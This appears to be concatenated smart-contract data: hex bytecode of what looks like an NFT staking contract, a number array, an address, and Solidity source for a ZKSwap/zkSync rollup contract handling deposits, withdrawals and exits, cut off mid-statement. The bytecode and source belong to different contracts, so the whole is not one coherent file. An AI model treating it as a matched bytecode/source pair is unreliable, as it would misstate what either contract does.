16600090815260746020526040902054811015610ceb576001600160a01b03851660009081526074602052604090208054610cc6919083908110610caf57610caf612ee5565b906000526020600020906005020160000154612388565b15610cd957610cd6826001612329565b91505b80610ce381612f11565b915050610c60565b5060008167ffffffffffffffff811115610d0757610d07612c73565b604051908082528060200260200182016040528015610d30578160200160208202803683370190505b5090506000805b6001600160a01b038716600090815260746020526040902054811015610a29576001600160a01b03871660009081526074602052604090208054610d86919083908110610caf57610caf612ee5565b15610df2576001600160a01b0387166000908152607460205260409020805482908110610db557610db5612ee5565b906000526020600020906005020160000154838381518110610dd957610dd9612ee5565b6020908102919091010152610def826001612329565b91505b80610dfc81612f11565b915050610d37565b6033546001600160a01b03163314610e5e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161050d565b610e6860006123a5565b565b60006001815b6001600160a01b038416600090815260746020526040902054811015610c51576001600160a01b03841660009081526074602052604081208054610ed6919084908110610ebf57610ebf612ee5565b9060005260206000209060050201600101546123f7565b9050603c8111610ee65750610eec565b60009250505b80610ef681612f11565b915050610e70565b600054610100900460ff16610f195760005460ff1615610f1d565b303b155b610f805760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161050d565b600054610100900460ff16158015610fa2576000805461ffff19166101011790555b610faa612411565b606580546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d1790915560668054821673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2179055620151806067556312cc030060685560698054821673e22e1e620dffb03065cd77db0162249c0c91bf01179055606a8054821673d718ad25285d65ef4d79262a6cd3aea6a8e01023179055606b80549091167399cfdf48d0ba4885a73786148a2f89d86c7021701790556000606c5568056bc75e2d63100000606d556802b5e3af16b1880000606e55690257058e269742680000606f819055681b1ae4d6e2ef5000006070819055610bb86071819055916110ac9190612f7f565b6110b69190612f96565b607255607154606e54606d546110cc9190612f7f565b6110d69190612f96565b60735560006076556078805460ff1916905580156110fa576000805461ff00191690555b50565b73d0d725208fd36be1561050fc1dd6a651d7ea7c8933146111545760405162461bcd60e51b81526020600482015260116024820152702cb7ba9030b932903737ba1020b236b4b760791b604482015260640161050d565b610e686001607955565b6000611169336116fe565b509050806111895760405162461bcd60e51b815260040161050d90612e82565b600260795414156111ac5760405162461bcd60e51b815260040161050d90612eae565b6002607955607854610100900460ff16156111f25760405162461bcd60e51b8152602060048201526006602482015265131bd8dad95960d21b604482015260640161050d565b60006111fd33610b62565b905080518351111561123d5760405162461bcd60e51b81526020600482015260096024820152684964206572726f727360b81b604482015260640161050d565b6000805b84518110156112c35760005b83518110156112b05783818151811061126857611268612ee5565b602002602001015186838151811061128257611282612ee5565b6020026020010151141561129e5761129b836001612329565b92505b806112a881612f11565b91505061124d565b50806112bb81612f11565b915050611241565b5083518114156113e95783516112ed6112e482678ac7230489e80000612276565b606f5490612329565b606f5560005b85518110156113e65760695486516001600160a01b03909116906323b872dd90309033908a908690811061132957611329612ee5565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401600060405180830381600087803b15801561138357600080fd5b505af1158015611397573d6000803e3d6000fd5b5050606c80549250905060006113ac83612fb8565b91905055506113d4338783815181106113c7576113c7612ee5565b6020026020010151612448565b806113de81612f11565b9150506112f3565b50505b505060016079555050565b60006113ff336116fe565b5090508061141f5760405162461bcd60e51b815260040161050d90612e82565b600260795414156114425760405162461bcd60e51b815260040161050d90612eae565b60026079556105ca3361261d565b600060606000805b6001600160a01b0385166000908152607460205260409020548110156114e3576001600160a01b038516600090815260746020526040902080546114be9190839081106114a7576114a7612ee5565b906000526020600020906005020160000154612726565b156114d1576114ce600183612f67565b91505b806114db81612f11565b915050611458565b5060008167ffffffffffffffff8111156114ff576114ff612c73565b604051908082528060200260200182016040528015611528578160200160208202803683370190505b5090506000805b6001600160a01b038716600090815260746020526040902054811015610a29576001600160a01b0387166000908152607460205260409020805461157e9190839081106114a7576114a7612ee5565b156115ea576001600160a01b03871660009081526074602052604090208054829081106115ad576115ad612ee5565b9060005260206000209060050201600001548383815181106115d1576115d1612ee5565b60209081029190910101526115e7826001612329565b91505b806115f481612f11565b91505061152f565b73d0d725208fd36be1561050fc1dd6a651d7ea7c89331461162f5760405162461bcd60e51b815260040161050d90612e20565b606a546001600160a01b03163b6116585760405162461bcd60e51b815260040161050d90612e4b565b606a80546001600160a01b0319166001600160a01b0392909216919091179055565b6000806064606f54600161168e9190612fcf565b6116989190612f96565b6116a3906001612f67565b606d546116b09190612fcf565b90506000606d54826116c29190612f7f565b905060006001606d54836116d69190612f96565b6116e09190612f96565b6116eb906001612fcf565b6116f6906064612fcf565b949350505050565b6001600160a01b038116600090815260776020526040812054819060ff1615156001141561172e57506001929050565b506000928392509050565b6033546001600160a01b031633146117935760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161050d565b6001600160a01b0381166117f85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161050d565b6110fa816123a5565b73d0d725208fd36be1561050fc1dd6a651d7ea7c8933146118345760405162461bcd60e51b815260040161050d90612e20565b6078805461ff001981166101009182900460ff1615909102179055565b600061185c336116fe565b5090508061187c5760405162461bcd60e51b815260040161050d90612e82565b6002607954141561189f5760405162461bcd60e51b815260040161050d90612eae565b60026079556118ad33610e6a565b6105ca576105ca3361275c565b600080808080808087816118cd8261087d565b50905060006118db83610c58565b50905060058110611c1457600160005b6001600160a01b038516600090815260746020526040902054811015611be7576001600160a01b0385166000908152607460205260408120805461195191908490811061193a5761193a612ee5565b9060005260206000209060050201600401546123f7565b6001600160a01b038716600090815260746020526040902080549192506119829184908110610caf57610caf612ee5565b806119b757506001600160a01b038616600090815260746020526040902080546119b79190849081106108d4576108d4612ee5565b80156119c35750600181105b156119cd57600092505b8280156119f157506001600160a01b03861660009081526074602052604090205415155b15611a4a57611a4385611a0583600a612fcf565b611a0f9190612fcf565b611a3d86611a1e85600a612fcf565b611a289190612fcf565b607654611a3d90670de0b6b3a764000061294a565b90612329565b9950611a67565b82611a6757607654611a6490670de0b6b3a764000061294a565b99505b6001600160a01b03861660009081526074602052604090208054611a969190849081106108d4576108d4612ee5565b15611b29576001600160a01b03861660009081526074602052604081208054611ae1919085908110611aca57611aca612ee5565b9060005260206000209060050201600201546123f7565b905080611b01611afa82680ad78ebc5ac6200000612fcf565b8c90612329565b9a50611b20611b1982680ad78ebc5ac6200000612fcf565b8b90612329565b99505050611bd4565b6001600160a01b03861660009081526074602052604090208054611b58919084908110610caf57610caf612ee5565b15611bd4576001600160a01b03861660009081526074602052604081208054611b8c919085908110611aca57611aca612ee5565b90506000819050611bb06002606d5484611ba69190612fcf565b611afa9190612f96565b9a50611bcf6002606d5483611bc59190612fcf565b611b199190612f96565b995050505b5080611bdf81612f11565b9150506118eb565b508515611c0e57606b54606654611c0b916001600160a01b0390811691168861298c565b94505b50611e28565b60005b6001600160a01b038416600090815260746020526040902054811015611e01576001600160a01b03841660009081526074602052604090208054611c669190839081106108d4576108d4612ee5565b15611d78576001600160a01b03841660009081526074602052604081208054611c9a91908490811061193a5761193a612ee5565b9050611cb1611caa82600a612fcf565b8a90612329565b98506000611cee60746000886001600160a01b03166001600160a01b031681526020019081526020016000208481548110611aca57611aca612ee5565b9050611d06611caa82680ad78ebc5ac6200000612fcf565b98506000611d5a60746000896001600160a01b03166001600160a01b031681526020019081526020016000208581548110611d4357611d43612ee5565b9060005260206000209060050201600301546123f7565b9050611d72611caa82680ad78ebc5ac6200000612fcf565b98505050505b6001600160a01b03841660009081526074602052604090208054611da7919083908110610caf57610caf612ee5565b15611def576001600160a01b03841660009081526074602052604081208054611ddb91908490811061193a5761193a612ee5565b9050611deb611caa82600a612fcf565b9850505b80611df981612f11565b915050611c17565b508415611e2857606b54606654611e25916001600160a01b0390811691168761298c565b93505b611e3a87670de0b6b3a7640000612fcf565b9b959a50929850939650505050505050565b6000611e57826118ba565b50915050801561062157606b5460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af1158015611eb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ed89190612f45565b5060005b6001600160a01b038316600090815260746020526040902054811015610b5d576001600160a01b0383166000908152607460205260409020805442919083908110611f2957611f29612ee5565b600091825260209091206002600590920201015580611f4781612f11565b915050611edc565b607054606f5410611f8c57607354606d6000828254611f6e9190612f7f565b9091555050606f54611f8890678ac7230489e80000612ab7565b606f555b6069546040516331a9108f60e11b8152600481018490526001600160a01b03838116921690636352211e90602401602060405180830381865afa158015611fd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ffb9190612fee565b6001600160a01b0316146120515760405162461bcd60e51b815260206004820152601e60248201527f596f7520617265206e6f742061206f776e6572206f6620746865206e66740000604482015260640161050d565b60695460405163e985e9c560e01b81523360048201523060248201526001600160a01b039091169063e985e9c590604401602060405180830381865afa15801561209f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120c39190612f45565b151560011461212b5760405162461bcd60e51b815260206004820152602e60248201527f596f752073686f756c6420617070726f7665206e667420746f2074686520737460448201526d185ada5b99c818dbdb9d1c9858dd60921b606482015260840161050d565b6069546040516323b872dd60e01b81526001600160a01b03838116600483015230602483015260448201859052909116906323b872dd90606401600060405180830381600087803b15801561217f57600080fd5b505af1158015612193573d6000803e3d6000fd5b5050505060006121a2826116fe565b50905060006040518060a001604052808581526020014281526020014281526020014281526020014281525090506121e66001606c5461232990919063ffffffff16565b606c556001600160a01b03831660009081526074602090815260408083208054600181810183559185529383902085516005909502019384559184015191830191909155820151600282015560608201516003820155608082015160049091015581612270576001600160a01b0383166000908152607760205260409020805460ff191660011790555b50505050565b600082612285575060006122f8565b60006122918385612fcf565b90508261229e8583612f96565b146122f55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161050d565b90505b92915050565b60008064e8d4a51000831015801561231b575064e8d4a510058311155b156122f85750600192915050565b6000806123368385612f67565b9050838110156122f55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161050d565b600080610e74831161239c575060016122f8565b50600092915050565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6067546000906124078342612f7f565b6122f89190612f96565b600054610100900460ff166124385760405162461bcd60e51b815260040161050d9061300b565b612440612af9565b610e68612b20565b60005b6001600160a01b0383166000908152607460205260409020548110156125d5576001600160a01b038316600090815260746020526040902080548391908390811061249857612498612ee5565b90600052602060002090600502016000015414156125c3576001600160a01b038316600090815260746020526040902080546124d690600190612f7f565b815481106124e6576124e6612ee5565b906000526020600020906005020160746000856001600160a01b03166001600160a01b03168152602001908152602001600020828154811061252a5761252a612ee5565b60009182526020808320845460059093020191825560018085015490830155600280850154908301556003808501549083015560049384015493909101929092556001600160a01b038516815260749091526040902080548061258f5761258f613056565b6000828152602081206005600019909301928302018181556001810182905560028101829055600381018290556004015590555b806125cd81612f11565b91505061244b565b506001600160a01b038216600090815260746020526040902054610621576001600160a01b038216600090815260746020526040812061261491612bf1565b61062182612b50565b6000612628826118ba565b50909150508015610621576000607655606a5460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af115801561268b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126af9190612f45565b5060005b6001600160a01b038316600090815260746020526040902054811015610b5d576001600160a01b038316600090815260746020526040902080544291908390811061270057612700612ee5565b60009182526020909120600460059092020101558061271e81612f11565b9150506126b3565b60006509184e72a00682101561273e57506000919050565b6509184e72b4b382111561275457506000919050565b506001919050565b6000612767826118ba565b50915050801561062157606b5460655460405163095ea7b360e01b81526001600160a01b0391821660048201526024810184905291169063095ea7b3906044016020604051808303816000875af11580156127c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127ea9190612f45565b5060408051600280825260608083018452926020830190803683375050606b5482519293506001600160a01b03169183915060009061282b5761282b612ee5565b6001600160a01b03928316602091820292909201015260665482519116908290600190811061285c5761285c612ee5565b6001600160a01b03928316602091820292909201015260655460405163791ac94760e01b815291169063791ac947906128a29085906000908690899042906004016130a5565b600060405180830381600087803b1580156128bc57600080fd5b505af11580156128d0573d6000803e3d6000fd5b5050505060005b6001600160a01b038416600090815260746020526040902054811015612270576001600160a01b038416600090815260746020526040902080544291908390811061292457612924612ee5565b60009182526020909120600360059092020101558061294281612f11565b9150506128d7565b60006122f583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b89565b604080516002808252606080830184526000939092919060208301908036833701905050905084816000815181106129c6576129c6612ee5565b60200260200101906001600160a01b031690816001600160a01b03168152505083816001815181106129fa576129fa612ee5565b6001600160a01b03928316602091820292909201015260655460405163d06ca61f60e01b8152600092919091169063d06ca61f90612a3e90879086906004016130e1565b600060405180830381865afa158015612a5b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612a8391908101906130fa565b90508060018351612a949190612f7f565b81518110612aa457612aa4612ee5565b6020026020010151925050509392505050565b60006122f583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612bc0565b600054610100900460ff16610e685760405162461bcd60e51b815260040161050d9061300b565b600054610100900460ff16612b475760405162461bcd60e51b815260040161050d9061300b565b610e68336123a5565b600080612b5c836116fe565b915091508115610b5d576001600160a01b03166000908152607760205260409020805460ff191690555050565b60008183612baa5760405162461bcd60e51b815260040161050d9190613180565b506000612bb78486612f96565b95945050505050565b60008184841115612be45760405162461bcd60e51b815260040161050d9190613180565b506000612bb78486612f7f565b50805460008255600502906000526020600020908101906110fa91905b80821115612c3d5760008082556001820181905560028201819055600382018190556004820155600501612c0e565b5090565b6001600160a01b03811681146110fa57600080fd5b600060208284031215612c6857600080fd5b81356122f581612c41565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715612cb257612cb2612c73565b604052919050565b600067ffffffffffffffff821115612cd457612cd4612c73565b5060051b60200190565b60006020808385031215612cf157600080fd5b823567ffffffffffffffff811115612d0857600080fd5b8301601f81018513612d1957600080fd5b8035612d2c612d2782612cba565b612c89565b81815260059190911b82018301908381019087831115612d4b57600080fd5b928401925b82841015612d6957833582529284019290840190612d50565b979650505050505050565b600060208284031215612d8657600080fd5b5035919050565b600081518084526020808501945080840160005b83811015612dbd57815187529582019590820190600101612da1565b509495945050505050565b8281526040602082015260006116f66040830184612d8d565b60008060408385031215612df457600080fd5b8235612dff81612c41565b946020939093013593505050565b6020815260006122f56020830184612d8d565b6020808252601190820152702cb7ba9030b932903737ba1030b236b4b760791b604082015260600190565b60208082526017908201527f41646472657373206973206e6f7420636f6e7472616374000000000000000000604082015260600190565b6020808252601290820152712cb7ba9030b932903737ba1039ba30b5b2b960711b604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415612f2557612f25612efb565b5060010190565b600060208284031215612f3e57600080fd5b5051919050565b600060208284031215612f5757600080fd5b815180151581146122f557600080fd5b60008219821115612f7a57612f7a612efb565b500190565b600082821015612f9157612f91612efb565b500390565b600082612fb357634e487b7160e01b600052601260045260246000fd5b500490565b600081612fc757612fc7612efb565b506000190190565b6000816000190483118215151615612fe957612fe9612efb565b500290565b60006020828403121561300057600080fd5b81516122f581612c41565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b634e487b7160e01b600052603160045260246000fd5b600081518084526020808501945080840160005b83811015612dbd5781516001600160a01b031687529582019590820190600101613080565b85815284602082015260a0604082015260006130c460a083018661306c565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006116f6604083018461306c565b6000602080838503121561310d57600080fd5b825167ffffffffffffffff81111561312457600080fd5b8301601f8101851361313557600080fd5b8051613143612d2782612cba565b81815260059190911b8201830190838101908783111561316257600080fd5b928401925b82841015612d6957835182529284019290840190613167565b600060208083528351808285015260005b818110156131ad57858101830151858201604001528201613191565b818111156131bf576000604083870101525b50601f01601f191692909201604001939250505056fea264697066735822122002dacd86b345daa9727762589bbad832c5e60a7b25f603fcb7d9e97193e4426364736f6c634300080b0033
[ 4, 7, 19, 12, 16, 5 ]
0xf2c351f22b148A9fF583a0F81701471a74E7338e
pragma solidity ^0.5.0; import "./ReentrancyGuard.sol"; import "./SafeMath.sol"; import "./SafeMathUInt128.sol"; import "./SafeCast.sol"; import "./Utils.sol"; import "./Storage.sol"; import "./Config.sol"; import "./Events.sol"; import "./Bytes.sol"; import "./Operations.sol"; import "./UpgradeableMaster.sol"; import "./uniswap/UniswapV2Factory.sol"; import "./PairTokenManager.sol"; /// @title zkSync main contract /// @author Matter Labs /// @author ZKSwap L2 Labs contract ZkSync is PairTokenManager, UpgradeableMaster, Storage, Config, Events, ReentrancyGuard { using SafeMath for uint256; using SafeMathUInt128 for uint128; bytes32 public constant EMPTY_STRING_KECCAK = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; //create pair function createPair(address _tokenA, address _tokenB) external { requireActive(); governance.requireTokenLister(msg.sender); //check _tokenA is registered or not uint16 tokenAID = governance.validateTokenAddress(_tokenA); //check _tokenB is registered or not uint16 tokenBID = governance.validateTokenAddress(_tokenB); //make sure _tokenA is fee token require(tokenAID <= MAX_AMOUNT_OF_REGISTERED_FEE_TOKENS, "tokenA should be fee token"); //create pair address pair = pairmanager.createPair(_tokenA, _tokenB); require(pair != address(0), "pair is invalid"); addPairToken(pair); registerCreatePair( tokenAID, _tokenA, tokenBID, _tokenB, validatePairTokenAddress(pair), pair ); } //create pair including ETH function createETHPair(address _tokenERC20) external { requireActive(); governance.requireTokenLister(msg.sender); //check _tokenERC20 is registered or not uint16 erc20ID = governance.validateTokenAddress(_tokenERC20); //create pair address pair = pairmanager.createPair(address(0), _tokenERC20); require(pair != address(0), "pair is invalid"); addPairToken(pair); registerCreatePair( 0, address(0), erc20ID, _tokenERC20, validatePairTokenAddress(pair), pair ); } function registerCreatePair(uint16 _tokenAID, address _tokenA, uint16 _tokenBID, address _tokenB, uint16 _tokenPair, address _pair) internal { // Priority Queue request Operations.CreatePair memory op = Operations.CreatePair({ accountId : 0, //unknown at this point tokenA : _tokenAID, tokenB : _tokenBID, tokenPair : _tokenPair, pair : _pair }); bytes memory pubData = Operations.writeCreatePairPubdata(op); bytes memory userData = abi.encodePacked( _tokenA, // tokenA address _tokenB // tokenB address ); addPriorityRequest(Operations.OpType.CreatePair, pubData, userData); emit OnchainCreatePair(_tokenAID, _tokenBID, _tokenPair, _pair); } // Upgrade functional /// @notice Notice period before activation preparation status of upgrade mode function getNoticePeriod() external returns (uint) { return UPGRADE_NOTICE_PERIOD; } /// @notice Notification that upgrade notice period started function upgradeNoticePeriodStarted() external { } /// @notice Notification that upgrade preparation status is activated function upgradePreparationStarted() external { upgradePreparationActive = true; upgradePreparationActivationTime = now; } /// @notice Notification that upgrade canceled function upgradeCanceled() external { upgradePreparationActive = false; upgradePreparationActivationTime = 0; } /// @notice Notification that upgrade finishes function upgradeFinishes() external { upgradePreparationActive = false; upgradePreparationActivationTime = 0; } /// @notice Checks that contract is ready for upgrade /// @return bool flag indicating that contract is ready for upgrade function isReadyForUpgrade() external returns (bool) { return !exodusMode; } constructor() public { governance = Governance(msg.sender); zkSyncCommitBlockAddress = address(this); zkSyncExitAddress = address(this); } /// @notice Franklin contract initialization. Can be external because Proxy contract intercepts illegal calls of this function. /// @param initializationParameters Encoded representation of initialization parameters: /// _governanceAddress The address of Governance contract /// _verifierAddress The address of Verifier contract /// _ // FIXME: remove _genesisAccAddress /// _genesisRoot Genesis blocks (first block) root function initialize(bytes calldata initializationParameters) external { require(address(governance) == address(0), "init0"); initializeReentrancyGuard(); ( address _governanceAddress, address _verifierAddress, address _verifierExitAddress, address _pairManagerAddress ) = abi.decode(initializationParameters, (address, address, address, address)); verifier = Verifier(_verifierAddress); verifierExit = VerifierExit(_verifierExitAddress); governance = Governance(_governanceAddress); pairmanager = UniswapV2Factory(_pairManagerAddress); maxDepositAmount = DEFAULT_MAX_DEPOSIT_AMOUNT; withdrawGasLimit = ERC20_WITHDRAWAL_GAS_LIMIT; } function setGenesisRootAndAddresses(bytes32 _genesisRoot, address _zkSyncCommitBlockAddress, address _zkSyncExitAddress) external { // This function cannot be called twice as long as // _zkSyncCommitBlockAddress and _zkSyncExitAddress have been set to // non-zero. require(zkSyncCommitBlockAddress == address(0), "sraa1"); require(zkSyncExitAddress == address(0), "sraa2"); blocks[0].stateRoot = _genesisRoot; zkSyncCommitBlockAddress = _zkSyncCommitBlockAddress; zkSyncExitAddress = _zkSyncExitAddress; } /// @notice zkSync contract upgrade. Can be external because Proxy contract intercepts illegal calls of this function. /// @param upgradeParameters Encoded representation of upgrade parameters function upgrade(bytes calldata upgradeParameters) external {} /// @notice Sends tokens /// @dev NOTE: will revert if transfer call fails or rollup balance difference (before and after transfer) is bigger than _maxAmount /// @param _token Token address /// @param _to Address of recipient /// @param _amount Amount of tokens to transfer /// @param _maxAmount Maximum possible amount of tokens to transfer to this account function withdrawERC20Guarded(IERC20 _token, address _to, uint128 _amount, uint128 _maxAmount) external returns (uint128 withdrawnAmount) { require(msg.sender == address(this), "wtg10"); // wtg10 - can be called only from this contract as one "external" call (to revert all this function state changes if it is needed) uint16 lpTokenId = tokenIds[address(_token)]; uint256 balance_before = _token.balanceOf(address(this)); if (lpTokenId > 0) { validatePairTokenAddress(address(_token)); pairmanager.mint(address(_token), _to, _amount); } else { require(Utils.sendERC20(_token, _to, _amount), "wtg11"); // wtg11 - ERC20 transfer fails } uint256 balance_after = _token.balanceOf(address(this)); uint256 balance_diff = balance_before.sub(balance_after); require(balance_diff <= _maxAmount, "wtg12"); // wtg12 - rollup balance difference (before and after transfer) is bigger than _maxAmount return SafeCast.toUint128(balance_diff); } /// @notice executes pending withdrawals /// @param _n The number of withdrawals to complete starting from oldest function completeWithdrawals(uint32 _n) external nonReentrant { // TODO: when switched to multi validators model we need to add incentive mechanism to call complete. uint32 toProcess = Utils.minU32(_n, numberOfPendingWithdrawals); uint32 startIndex = firstPendingWithdrawalIndex; numberOfPendingWithdrawals -= toProcess; firstPendingWithdrawalIndex += toProcess; for (uint32 i = startIndex; i < startIndex + toProcess; ++i) { uint16 tokenId = pendingWithdrawals[i].tokenId; address to = pendingWithdrawals[i].to; // send fails are ignored hence there is always a direct way to withdraw. delete pendingWithdrawals[i]; bytes22 packedBalanceKey = packAddressAndTokenId(to, tokenId); uint128 amount = balancesToWithdraw[packedBalanceKey].balanceToWithdraw; // amount is zero means funds has been withdrawn with withdrawETH or withdrawERC20 if (amount != 0) { balancesToWithdraw[packedBalanceKey].balanceToWithdraw -= amount; bool sent = false; if (tokenId == 0) { address payable toPayable = address(uint160(to)); sent = Utils.sendETHNoRevert(toPayable, amount); } else { address tokenAddr = address(0); if (tokenId < PAIR_TOKEN_START_ID) { // It is normal ERC20 tokenAddr = governance.tokenAddresses(tokenId); } else { // It is pair token tokenAddr = tokenAddresses[tokenId]; } // tokenAddr cannot be 0 require(tokenAddr != address(0), "cwt0"); // we can just check that call not reverts because it wants to withdraw all amount (sent,) = address(this).call.gas(withdrawGasLimit)( abi.encodeWithSignature("withdrawERC20Guarded(address,address,uint128,uint128)", tokenAddr, to, amount, amount) ); } if (!sent) { balancesToWithdraw[packedBalanceKey].balanceToWithdraw += amount; } } } if (toProcess > 0) { emit PendingWithdrawalsComplete(startIndex, startIndex + toProcess); } } /// @notice Accrues users balances from deposit priority requests in Exodus mode /// @dev WARNING: Only for Exodus mode /// @dev Canceling may take several separate transactions to be completed /// @param _n number of requests to process function cancelOutstandingDepositsForExodusMode(uint64 _n) external nonReentrant { require(exodusMode, "coe01"); // exodus mode not active uint64 toProcess = Utils.minU64(totalOpenPriorityRequests, _n); require(toProcess > 0, "coe02"); // no deposits to process for (uint64 id = firstPriorityRequestId; id < firstPriorityRequestId + toProcess; id++) { if (priorityRequests[id].opType == Operations.OpType.Deposit) { Operations.Deposit memory op = Operations.readDepositPubdata(priorityRequests[id].pubData); bytes22 packedBalanceKey = packAddressAndTokenId(op.owner, op.tokenId); balancesToWithdraw[packedBalanceKey].balanceToWithdraw += op.amount; } delete priorityRequests[id]; } firstPriorityRequestId += toProcess; totalOpenPriorityRequests -= toProcess; } /// @notice Deposit ETH to Layer 2 - transfer ether from user into contract, validate it, register deposit /// @param _franklinAddr The receiver Layer 2 address function depositETH(address _franklinAddr) external payable nonReentrant { requireActive(); registerDeposit(0, SafeCast.toUint128(msg.value), _franklinAddr); } /// @notice Withdraw ETH to Layer 1 - register withdrawal and transfer ether to sender /// @param _amount Ether amount to withdraw function withdrawETH(uint128 _amount) external nonReentrant { registerWithdrawal(0, _amount, msg.sender); (bool success,) = msg.sender.call.value(_amount)(""); require(success, "fwe11"); // ETH withdraw failed } /// @notice Withdraw ETH to Layer 1 - register withdrawal and transfer ether to _to address /// @param _amount Ether amount to withdraw function withdrawETHWithAddress(uint128 _amount, address payable _to) external nonReentrant { require(_to != address(0), "ipa11"); registerWithdrawal(0, _amount, _to); (bool success,) = _to.call.value(_amount)(""); require(success, "fwe12"); // ETH withdraw failed } /// @notice Config amount limit for each ERC20 deposit /// @param _amount Max deposit amount function setMaxDepositAmount(uint128 _amount) external { governance.requireGovernor(msg.sender); maxDepositAmount = _amount; } /// @notice Config gas limit for withdraw erc20 token /// @param _gasLimit withdraw erc20 gas limit function setWithDrawGasLimit(uint256 _gasLimit) external { governance.requireGovernor(msg.sender); withdrawGasLimit = _gasLimit; } /// @notice Deposit ERC20 token to Layer 2 - transfer ERC20 tokens from user into contract, validate it, register deposit /// @param _token Token address /// @param _amount Token amount /// @param _franklinAddr Receiver Layer 2 address function depositERC20(IERC20 _token, uint104 _amount, address _franklinAddr) external nonReentrant { requireActive(); // Get token id by its address uint16 lpTokenId = tokenIds[address(_token)]; uint16 tokenId = 0; if (lpTokenId == 0) { // This means it is not a pair address tokenId = governance.validateTokenAddress(address(_token)); } else { lpTokenId = validatePairTokenAddress(address(_token)); } uint256 balance_before = 0; uint256 balance_after = 0; uint128 deposit_amount = 0; if (lpTokenId > 0) { // Note: For lp token, main contract always has no money balance_before = _token.balanceOf(msg.sender); pairmanager.burn(address(_token), msg.sender, SafeCast.toUint128(_amount)); balance_after = _token.balanceOf(msg.sender); deposit_amount = SafeCast.toUint128(balance_before.sub(balance_after)); require(deposit_amount <= maxDepositAmount, "fd011"); registerDeposit(lpTokenId, deposit_amount, _franklinAddr); } else { balance_before = _token.balanceOf(address(this)); require(Utils.transferFromERC20(_token, msg.sender, address(this), SafeCast.toUint128(_amount)), "fd012"); // token transfer failed deposit balance_after = _token.balanceOf(address(this)); deposit_amount = SafeCast.toUint128(balance_after.sub(balance_before)); require(deposit_amount <= maxDepositAmount, "fd013"); registerDeposit(tokenId, deposit_amount, _franklinAddr); } } /// @notice Withdraw ERC20 token to Layer 1 - register withdrawal and transfer ERC20 to sender /// @param _token Token address /// @param _amount amount to withdraw function withdrawERC20(IERC20 _token, uint128 _amount) external nonReentrant { uint16 lpTokenId = tokenIds[address(_token)]; uint16 tokenId = 0; if (lpTokenId == 0) { // This means it is not a pair address tokenId = governance.validateTokenAddress(address(_token)); } else { tokenId = validatePairTokenAddress(address(_token)); } bytes22 packedBalanceKey = packAddressAndTokenId(msg.sender, tokenId); uint128 balance = balancesToWithdraw[packedBalanceKey].balanceToWithdraw; uint128 withdrawnAmount = this.withdrawERC20Guarded(_token, msg.sender, _amount, balance); registerWithdrawal(tokenId, withdrawnAmount, msg.sender); } /// @notice Withdraw ERC20 token to Layer 1 - register withdrawal and transfer ERC20 to _to address /// @param _token Token address /// @param _amount amount to withdraw /// @param _to address to withdraw function withdrawERC20WithAddress(IERC20 _token, uint128 _amount, address payable _to) external nonReentrant { require(_to != address(0), "ipa12"); uint16 lpTokenId = tokenIds[address(_token)]; uint16 tokenId = 0; if (lpTokenId == 0) { // This means it is not a pair address tokenId = governance.validateTokenAddress(address(_token)); } else { tokenId = validatePairTokenAddress(address(_token)); } bytes22 packedBalanceKey = packAddressAndTokenId(_to, tokenId); uint128 balance = balancesToWithdraw[packedBalanceKey].balanceToWithdraw; uint128 withdrawnAmount = this.withdrawERC20Guarded(_token, _to, _amount, balance); registerWithdrawal(tokenId, withdrawnAmount, _to); } /// @notice Register full exit request - pack pubdata, add priority request /// @param _accountId Numerical id of the account /// @param _token Token address, 0 address for ether function fullExit(uint32 _accountId, address _token) external nonReentrant { requireActive(); require(_accountId <= MAX_ACCOUNT_ID, "fee11"); uint16 tokenId; if (_token == address(0)) { tokenId = 0; } else { tokenId = governance.validateTokenAddress(_token); require(tokenId <= MAX_AMOUNT_OF_REGISTERED_TOKENS, "fee12"); } // Priority Queue request Operations.FullExit memory op = Operations.FullExit({ accountId : _accountId, owner : msg.sender, tokenId : tokenId, amount : 0 // unknown at this point }); bytes memory pubData = Operations.writeFullExitPubdata(op); addPriorityRequest(Operations.OpType.FullExit, pubData, ""); // User must fill storage slot of balancesToWithdraw(msg.sender, tokenId) with nonzero value // In this case operator should just overwrite this slot during confirming withdrawal bytes22 packedBalanceKey = 